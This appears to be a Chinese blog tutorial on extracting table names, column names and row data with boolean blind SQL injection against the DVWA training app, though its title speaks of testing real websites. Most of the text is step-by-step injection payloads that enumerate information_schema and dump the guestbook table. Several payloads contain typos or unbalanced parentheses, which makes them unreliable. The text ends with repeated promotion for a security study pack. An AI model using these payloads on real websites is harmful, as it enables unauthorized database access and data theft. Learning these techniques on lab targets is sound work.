布尔盲注和时间盲注测试真实网站步骤_使用布尔盲注与时间盲注获取表名

(select count(table_name) from information_schema.tables where table_schema='dvwa')=2%23

用于表示查询表的数量，这里是判断表的数量是否为2

对每个部分进行解析说明：

• SELECT: 这个关键词表明查询的是一个数据集，其中包括所选的列或计算的值。
• COUNT(table_name): 这部分表示 COUNT() 是一个聚合函数，用于计算指定列中的行数。在这里，COUNT(table_name) 的目的是计算满足后续条件的行数，以此确定表的数量。
• FROM information_schema.tables: 这部分指定了要从哪个表或视图中检索数据。在这里，我们从名为 information_schema.tables 的系统视图中检索数据，这个视图包含了关于数据库中所有表的信息。
• WHERE table_schema=‘dvwa’: 这是一个过滤条件，用于限制查询结果。table_schema 是 information_schema.tables 中的一个列，它表示表所属的数据库（schema）。这里的条件 table_schema='dvwa' 表示只返回数据库名为 dvwa 的表的信息。

这里，把WHERE table_schema=‘dvwa’可以理解为就是关于dvwa的数据库所涉及的行进行查询

5.获取表名长度

(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=2%23

获取第二个表名

(select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=2%23

6.获取具体表名

substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g'

如要查询第二个字母则在尾部的那两个1，1的前一个1改正为2

每个部分的作用：

1. substr(...):

   • 作用: 截取字符串的一部分。
   • 参数: 第一个参数是要截取的字符串，第二个参数是开始截取的位置，第三个参数是截取的长度。

2. (select table_name from information_schema.tables where table_schema=database() limit 0,1):

   • 作用: 在数据库中查询表名。
   • 子查询: 查询信息模式中符合条件的表名，其中 table_schema=database() 是条件，表示只查询当前数据库中的表名。
   • LIMIT 0,1: 限制返回结果的行数为 1 行。

3. ='g':

   • 作用: 对比截取的字符串的第一个字符是否为 'g'，返回布尔值（真或假）。

7.获取表中有多少列

(select (select count(cloumn_name) from information_schema.columns where table_name='guestbook' and table_schema='dvwa')=8

8.获取列名长度

length((select column_name frominformation_schema from information_schema.columns where table_name='guestbook' and table_schema='dvwa' limit 0,1))=10%23

获取第二个列名长度

length((select column_name frominformation_schema from information_schema.columns where table_name='guestbook' and table_schema='dvwa' limit 1,1))=10%23

9.获取列名

substr((select cloumn_name from information_schema.columns where table_name='guesrbook' and table_schema='dvwa' limit 0,1),1,1='c'

10.获取有多少行记录

(select count(comment_id) from guestbook)=1

11.获取表中记录长度

(select length(comment_id) from guestbook limit 0,1)=1%23

12.获取具体数据：

substr((select comment_id from guestbook limit 0,1),1,1)='1'%23

这里，简单总结四个函数的作用：

1. substr() 或 SUBSTRING():

   • 作用: 用于截取字符串的一部分。

2. group_concat():

   • 作用: 将多个行的列值连接成一个单独的字符串结果。

3. length():

   • 作用: 返回字符串的长度（即字符的数量）。

4. count():

   • 作用: 返回匹配特定条件的行数。

5. limit:作用: 用于限制 SQL 查询返回的结果行数。

最后

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！

如果你觉得这些内容对你有帮助，需要这份全套学习资料的朋友可以戳我获取！！

由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！

！真正的体系化！**

如果你觉得这些内容对你有帮助，需要这份全套学习资料的朋友可以戳我获取！！

由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！